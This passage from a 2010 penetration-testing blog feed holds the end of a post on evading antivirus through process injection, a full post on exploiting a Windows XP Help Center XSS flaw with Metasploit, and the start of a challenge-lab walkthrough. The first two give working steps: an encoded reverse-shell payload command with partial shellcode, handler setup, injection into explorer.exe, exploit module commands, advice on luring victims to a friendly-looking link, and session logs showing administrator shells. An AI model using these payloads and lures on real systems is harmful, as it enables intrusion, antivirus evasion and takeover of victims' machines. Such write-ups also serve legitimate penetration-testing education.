had:&lt;/b&gt;&lt;/div&gt;-Injecting into Explorer.exe crashes the process... (explorer being a good process because it re-spawns)&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Resolution:&lt;/b&gt;&lt;/div&gt;-Alpha upper encoding&lt;br /&gt;-using the py file to create raw code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So basically the problem people were having is that there are bad characters in their shellcode that were crashing the process, following is a step by step on how to use the antivirus bypass technique that the video does not show clearly and in its entirety.... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;1. First Create your shell-code:&lt;/span&gt;&lt;/b&gt;  (Alpha upper encode the shellcode, and add a thread exit function)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@Ficti0n:/pentest/exploits/framework3# &lt;span style="color: #cc0000;"&gt;./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 EXITFUNC=thread R | ./msfencode -e x86/alpha_upper&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[*] x86/alpha_upper succeeded with size 699 (iteration=1)&lt;br /&gt;buf =&lt;br /&gt;"\x89\xe6\xdb\xd8\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" +&lt;br /&gt;"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +&lt;br /&gt;"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +&lt;br /&gt;"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +&lt;br /&gt;"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" +&lt;br /&gt;..........&lt;br /&gt;.................&lt;br /&gt;&lt;br /&gt;The output from this will be very large but no worries size doesn't appear to be an issue.... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;2. Put this shell-code into the generic.py file like so&lt;/span&gt;&lt;/b&gt; (Remove all + signs and surround the output with parenthesis)  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;buffer=&lt;span style="color: #cc0000;"&gt;("\x89\xe6\xdb\xd8\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49"&lt;/span&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;............&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;................. )&lt;/div&gt;&lt;br /&gt;file=open("pgeneric.txt","w")&lt;br /&gt;file.write(buffer)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. &lt;b&gt;&lt;span style="color: #0b5394;"&gt;Startup your multi-handler and after you receive the payload you will get a shell... &lt;/span&gt;&lt;/b&gt;(go to step 4 below to send off your payload.)&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style="color: red;"&gt;use multi/handler&lt;/span&gt;&lt;br /&gt;msf exploit(handler) &amp;gt; &lt;span style="color: red;"&gt;set payload windows/shell_reverse_tcp&lt;/span&gt;&lt;br /&gt;payload =&amp;gt; windows/shell_reverse_tcp&lt;br /&gt;msf exploit(handler) &amp;gt; &lt;span style="color: #cc0000;"&gt;set LHOST 192.168.1.10&lt;/span&gt;&lt;br /&gt;LHOST =&amp;gt; 192.168.1.10&lt;br /&gt;msf exploit(handler) &amp;gt; &lt;span style="color: #cc0000;"&gt;set LPORT 4444&lt;/span&gt;&lt;br /&gt;LPORT =&amp;gt; 4444&lt;br /&gt;&lt;br /&gt;msf exploit(handler) &amp;gt; &lt;span style="color: #cc0000;"&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on 192.168.1.10:4444&lt;br /&gt;[*] Starting the payload handler...&lt;br /&gt;[*] Command shell session 1 opened (192.168.1.10:4444 -&amp;gt; 192.168.1.3:2438) at Tue Aug 17 20:30:20 -0400 2010&lt;br /&gt;&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator&amp;gt; &lt;span style="color: #cc0000;"&gt;YAY FOR SHELL&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. &lt;b&gt;&lt;span style="color: #0b5394;"&gt;Check your process list for Explorer.exe then ship off your payload into the process,&lt;/span&gt;&lt;/b&gt; this payload is now encoded to remove all bad characters and with your multi/handler running you should receive a shell no problem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator\Desktop\injector&amp;gt;&lt;span style="color: #cc0000;"&gt;tasklist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Image Name                   PID Session Name     Session#    Mem Usage&lt;br /&gt;========================= ====== ================ ======== ============&lt;br /&gt;System Idle Process            0 Console                 0         28 K&lt;br /&gt;System                         4 Console                 0        244 K&lt;br /&gt;smss.exe                     620 Console                 0        388 K&lt;br /&gt;csrss.exe                    668 Console                 0      1,660 K&lt;br /&gt;winlogon.exe                 692 Console                 0      5,152 K&lt;br /&gt;services.exe                 736 Console                 0      4,312 K&lt;br /&gt;lsass.exe                    748 Console                 0      1,544 K&lt;br /&gt;vmacthlp.exe                 904 Console                 0      2,292 K&lt;br /&gt;svchost.exe                  920 Console                 0      4,548 K&lt;br /&gt;svchost.exe                 1000 Console                 0      4,012 K&lt;br /&gt;svchost.exe                 1092 Console                 0     21,824 K&lt;br /&gt;svchost.exe                 1136 Console                 0      3,060 K&lt;br /&gt;svchost.exe                 1212 Console                 0      4,584 K&lt;br /&gt;spoolsv.exe                 1416 Console                 0      5,476 K&lt;br /&gt;sqlservr.exe                1800 Console                 0      8,684 K&lt;br /&gt;sqlwriter.exe               1948 Console                 0      3,268 K&lt;br /&gt;notepad++.exe&amp;nbsp; 2104 Console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3,072 K&lt;br /&gt;notepad.exe 3612 Console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3,388 K&lt;br /&gt;&lt;b&gt;&lt;span style="color: #cc0000;"&gt;explorer.exe 1568 Console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 22,064 K&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;tasklist.exe 1900 Console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4,244 K&lt;br /&gt;wmiprvse.exe 2708 Console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5,404 K&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator\Desktop\injector&amp;gt;&lt;span style="color: #cc0000;"&gt;injector.exe pgeneric.txt 1568&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[*] Author: DouBle_Zer0&lt;br /&gt;[*] HACKERS GARAGE Production&lt;br /&gt;[*] Visit Us: http://www.garage4hackers.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator\Desktop\injector&amp;gt; &lt;span style="color: #cc0000;"&gt;Your payload was just sent!!  check your meterpreter&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I hope that clears a few things up for anyone who was asking me how to utilize this tool on a pentest, this is an excellent technique and very neat but explanation of proper payloads and examples were lacking, I would have much preferred a written write up with more detail for reference so that is what i am providing..&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Final Note: &lt;/b&gt;&lt;/div&gt;Also one final note, you will notice i used the "explorer.exe" process, the reason I used explorer.exe because if I blow it up, it will respawn itself. Also a good technique when migrating processes in Meterpreter, if explorer.exe Fubars, you can just kill the process and it will respawn.&amp;nbsp; I have used this technique on processes running as a domain administrator to get full domain access. However when I blew up the process I lost access but was able to just respawn it and regain my foothold when no hashes or tokens were available. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-6199241118643157668?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/6199241118643157668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/08/bypassing-antivirus-with-process.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6199241118643157668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6199241118643157668'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/08/bypassing-antivirus-with-process.html' title='Bypassing AntiVirus With Process Injection'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-4961685342004991502</id><published>2010-06-11T14:56:00.000-07:00</published><updated>2010-06-11T16:01:37.672-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Client Side Attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows Malformed Escape Sequences'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Windows XP Help Center Client Side Attack</title><content type='html'>&lt;div style="color: #3d85c6;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;I Just saw this exploit in full disclosure and ExploitDB:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;&lt;span style="font-size: small;"&gt;http://seclists.org/fulldisclosure/2010/Jun/205&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;http://www.exploit-db.com/exploits/13808/ &lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Then I checked in metasploit and the exploit is already available.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt; &lt;br /&gt;If you are on an internal or client side test penetration test I generally see most  clients running windows XP&amp;nbsp; and generally outdated browsers. They are either using IE6 or IE7 or IE8.... The essence of this attack is that an un-handled XSS is utilized in hcp://system/sysinfo/sysinfomain.htm?svr=, which can be directly accessed via a url in a browser. By using a defer in a XSS to execute a script in a privileged zone a windows popup is bypassed. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&amp;lt;script defer&amp;gt;code&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;"due to insufficient escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable&lt;br /&gt;to a DOM-type XSS. However, the escaping routine will abort encoding if characters such as '=' or '"' or others are specified. "&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;This exploit works on xp sp2 and sp3 which covers most clients  in most companies. I do  not see many companies running vista or windows7.... &lt;/span&gt;&lt;span style="font-size: small;"&gt;IE 6 and IE7&amp;nbsp; browsers are vulnerable to this attack however IE8 works but with a user popup box unless the victim is running certain versions of media player...&amp;nbsp; I also just  tested this with a IE8 browser running in comparability mode...&amp;nbsp;  When the client visited the page Automatically the exploit pulled up the help docs and gave me a meterpreter shell&amp;nbsp;&amp;nbsp;  wooooot &lt;br /&gt;&lt;br /&gt;I am thinking this would be a good exploit to use in client side penetration tests... So below is the info and a quick usage of the exploit...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b style="color: #3d85c6;"&gt;Module Name:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;ms10_xxx_helpctr_xss_cmd_exec&lt;br /&gt;&lt;br /&gt;Below is a description and then usage of the module... give it a try...  &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b style="color: #3d85c6;"&gt;Description: &lt;span style="font-size: small;"&gt;(From Metasploit)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp; "Help and Support Center is the default application provided to&lt;br /&gt;&amp;nbsp; access online documentation for Microsoft Windows. Microsoft&lt;br /&gt;&amp;nbsp; supports accessing help documents directly via URLs by installing a&lt;br /&gt;&amp;nbsp; protocol handler for the scheme "hcp". Due to an error in validation&lt;br /&gt;&amp;nbsp; of input to hcp:// combined with a local cross site scripting&lt;br /&gt;&amp;nbsp; vulnerability and a specialized mechanism to launch the XSS trigger,&lt;br /&gt;&amp;nbsp; arbitrary command execution can be achieved. On IE6 and IE7 on XP&lt;br /&gt;&amp;nbsp; SP2 or SP3, code execution is automatic. On IE8, a dialog box pops,&lt;br /&gt;&amp;nbsp; but if WMP9 is installed, WMP9 can be used for automatic execution.&lt;br /&gt;&amp;nbsp; If IE8 and WMP11, a dialog box will ask the user if execution should&lt;br /&gt;&amp;nbsp; continue. Automatic detection of these options is implemented in&lt;br /&gt;&amp;nbsp; this module, and will default to not sending the exploit for&lt;br /&gt;&amp;nbsp; IE8/WMP11 unless the option is overridden."&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Simple Usage Example: &lt;/span&gt;&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;msf &amp;gt; &lt;span style="color: #cc0000;"&gt;use windows/browser/ms10_xxx_&lt;/span&gt;&lt;wbr style="color: #cc0000;"&gt;&lt;/wbr&gt;&lt;span style="color: #cc0000;"&gt;helpctr_xss_cmd_exec&lt;/span&gt;&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;wbr&gt;&lt;/wbr&gt;cmd_exec) &amp;gt; &lt;span style="color: #cc0000;"&gt;set payload  windows/meterpreter/reverse_&lt;/span&gt;&lt;wbr style="color: #cc0000;"&gt;&lt;/wbr&gt;&lt;span style="color: #cc0000;"&gt;tcp&lt;/span&gt;&lt;br style="color: #cc0000;" /&gt;&lt;span style="background-color: #f3f3f3; color: #cc0000;"&gt;&lt;/span&gt;payload =&amp;gt; windows/meterpreter/reverse_tcp&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;wbr&gt;&lt;/wbr&gt;cmd_exec) &amp;gt; &lt;span style="color: #cc0000;"&gt;set LHOST  192.168.1.10&lt;/span&gt;&lt;br /&gt;LHOST =&amp;gt; 192.168.1.10&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;wbr&gt;&lt;/wbr&gt;cmd_exec) &amp;gt; &lt;span style="color: #cc0000;"&gt;set LPORT 5555&lt;/span&gt;&lt;br /&gt;LPORT =&amp;gt; 5555&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;wbr&gt;&lt;/wbr&gt;cmd_exec) &amp;gt; &lt;span style="color: #cc0000;"&gt;exploit&lt;/span&gt;&lt;br /&gt;[*] Exploit running as background job.&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on &lt;a href="http://192.168.1.10:5555/" target="_blank"&gt;192.168.1.10:5555&lt;/a&gt;&lt;br /&gt;[*] Using URL: &lt;a href="https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&amp;amp;URL=http%3a%2f%2f0.0.0.0%3a80%2f" target="_blank"&gt;http://0.0.0.0:80/&lt;/a&gt;&lt;br /&gt;[*]&amp;nbsp; Local IP: &lt;a href="https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&amp;amp;URL=http%3a%2f%2f192.168.1.10%3a80%2f" target="_blank"&gt;http://192.168.1.10:80/&lt;/a&gt;&lt;br /&gt;[*] Server started.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="color: #3d85c6;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Send Your Link to the Victim and wait:&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;Now send the victim out a link to your IP address via email or chat. Generally i would have a registered URL that looks friendly and send them that URL in order to not look too suspicious. &lt;br /&gt;&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;wbr&gt;&lt;/wbr&gt;cmd_exec) &amp;gt; &lt;span style="font-size: x-small;"&gt;[*] Request for "/" does not contain a sub-directory, redirecting to /c3hfRM5Kh/ ...&lt;br /&gt;[*] Sending Microsoft Help Center XSS and Command Execution to 192.168.1.11:1295...&lt;br /&gt;[*] Responding to request for exploit iframe at 192.168.1.11:1295...&lt;br /&gt;[*] Request for "/" does not contain a sub-directory, redirecting to /ETnOhHE9EqYirlA/ ...&lt;br /&gt;[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1305&lt;br /&gt;[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...&lt;br /&gt;[*] Received WebDAV PROPFIND request from 192.168.1.11:1305&lt;br /&gt;[*] Sending directory multistatus for /Vl/ ...&lt;br /&gt;[*] Received WebDAV PROPFIND request from 192.168.1.11:1305&lt;br /&gt;[*] Sending EXE multistatus for /Vl/ly.exe ...&lt;br /&gt;[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...&lt;br /&gt;[*] Received WebDAV PROPFIND request from 192.168.1.11:1305&lt;br /&gt;[*] Sending directory multistatus for /Vl/ ...&lt;br /&gt;[*] GET for payload received.&lt;br /&gt;[*] Sending stage (748032 bytes) to 192.168.1.11&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.1.10:5555 -&amp;gt; 192.168.1.11:1306) at Fri Jun 11 18:10:38 -0400 2010&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;/span&gt; &lt;wbr&gt;&lt;/wbr&gt;&lt;span style="font-size: x-small;"&gt;cmd_exec) &amp;gt;&lt;/span&gt; &lt;span style="color: #cc0000;"&gt;sessions -l&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Id&amp;nbsp; Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Information&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&amp;nbsp;&amp;nbsp; Connection&lt;br /&gt;&amp;nbsp; --&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -----------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&amp;nbsp;&amp;nbsp; ----------&lt;br /&gt;&amp;nbsp; 1&amp;nbsp;&amp;nbsp; meterpreter&amp;nbsp; EXPLOIT\Administrator @ EXPLOIT&amp;nbsp; &lt;a href="http://192.168.1.10:5555/" target="_blank"&gt;192.168.1.10:5555&lt;/a&gt;  -&amp;gt; &lt;a href="http://192.168.1.11:1291/" target="_blank"&gt;192.168.1.11:1291&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms10_xxx_helpctr_xss_&lt;wbr&gt;&lt;/wbr&gt;cmd_exec) &amp;gt; &lt;span style="color: #cc0000;"&gt;sessions -i 1&lt;/span&gt;&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; &lt;span style="color: #cc0000;"&gt;getuid&lt;/span&gt;&lt;br /&gt;Server username: EXPLOIT\Administrator&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Final Notes: &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;There you have it... This module sets up a server and waits for your victim to make a connection, when the victim does make a connection their help window is opened and they are silently owned.... More then likely the victim will just think windows is acting up as it usually does or they accidentally clicked something&amp;nbsp; :) :)&amp;nbsp; Maybe you should be using freebsd or slackware instead?&amp;nbsp; You might still get owned but at least you will know its not the OS acting up hahahaha&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-4961685342004991502?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/4961685342004991502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/06/windows-xp-help-center-client-side.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4961685342004991502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4961685342004991502'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/06/windows-xp-help-center-client-side.html' title='Windows XP Help Center Client Side Attack'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-1348901460434959500</id><published>2010-05-10T20:44:00.000-07:00</published><updated>2010-05-10T21:52:57.635-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='killthen00b'/><category scheme='http://www.blogger.com/atom/ns#' term='ficti0n'/><category scheme='http://www.blogger.com/atom/ns#' term='how strong is your fu'/><category scheme='http://www.blogger.com/atom/ns#' term='offsec'/><category scheme='http://www.blogger.com/atom/ns#' term='Offensive Security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking challenge'/><title type='text'>Offensive Security  Part 2 -- KilltheN00b Walk Through</title><content type='html'>&lt;b&gt;&lt;span style="color: #0b5394;"&gt;How Strong is Your FU hacker challenge&lt;/span&gt;&lt;/b&gt; &lt;b&gt;&lt;span style="color: #0b5394;"&gt;Part 2&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394; font-size: large;"&gt;Target 2:&lt;/span&gt; &lt;/b&gt;KilltheN00b&lt;br /&gt;&lt;br /&gt;After some chips, salsa and a supersized burrito from el habinaro i was down for anouther challenge. I logged into the offsec labs and reviewed some of the documentation on the contest page that stated there were 2 targets.&lt;br /&gt;&lt;br /&gt;Killthen00b&lt;br /&gt;Ghost&lt;br /&gt;&lt;br /&gt;After a quick portscan I chose to attack killthen00b purely based on the amount of open ports available on the system. Ghost provided port HTTP only. KilltheN00b had various ports open including FTP, HTTP and some various mail ports.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;Scan output:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;21/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp; ftp&lt;br /&gt;|_ftp-anon: Anonymous FTP login allowed&lt;br /&gt;25/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp; smtp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Surgemail smtpd 3.8k4-4&lt;br /&gt;80/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp; http&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Surgemail webmail (DNews based)&lt;br /&gt;|_html-title: SurgeMail Welcome Page&lt;br /&gt;106/tcp&amp;nbsp; open&amp;nbsp; pop3pw&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Qualcomm poppassd (Maximum users connected)&lt;br /&gt;110/tcp&amp;nbsp; open&amp;nbsp; pop3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SurgeMail pop3d 3.8k4-4&lt;br /&gt;143/tcp&amp;nbsp; open&amp;nbsp; imap&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SurgeMail imapd 3.8k4-4&lt;br /&gt;366/tcp&amp;nbsp; open&amp;nbsp; smtp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Surgemail smtpd 3.8k4-4&lt;br /&gt;465/tcp&amp;nbsp; open&amp;nbsp; tcpwrapped&lt;br /&gt;587/tcp&amp;nbsp; open&amp;nbsp; smtp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Surgemail smtpd 3.8k4-4&lt;br /&gt;993/tcp&amp;nbsp; open&amp;nbsp; tcpwrapped&lt;br /&gt;995/tcp&amp;nbsp; open&amp;nbsp; tcpwrapped&lt;br /&gt;3389/tcp open&amp;nbsp; ms-term-serv?&lt;br /&gt;7025/tcp open&amp;nbsp; tcpwrapped&lt;br /&gt;7443/tcp open&amp;nbsp; tcpwrapped&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;More ports = = more fun ??&lt;br /&gt;More Targets = = more fun??&lt;br /&gt;All Girls Just want to have fun?? Wait no that's a song LOL &lt;br /&gt;&lt;br /&gt;Probably a wrong assumption, but its a good theory to cling to when things get rough&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Initial 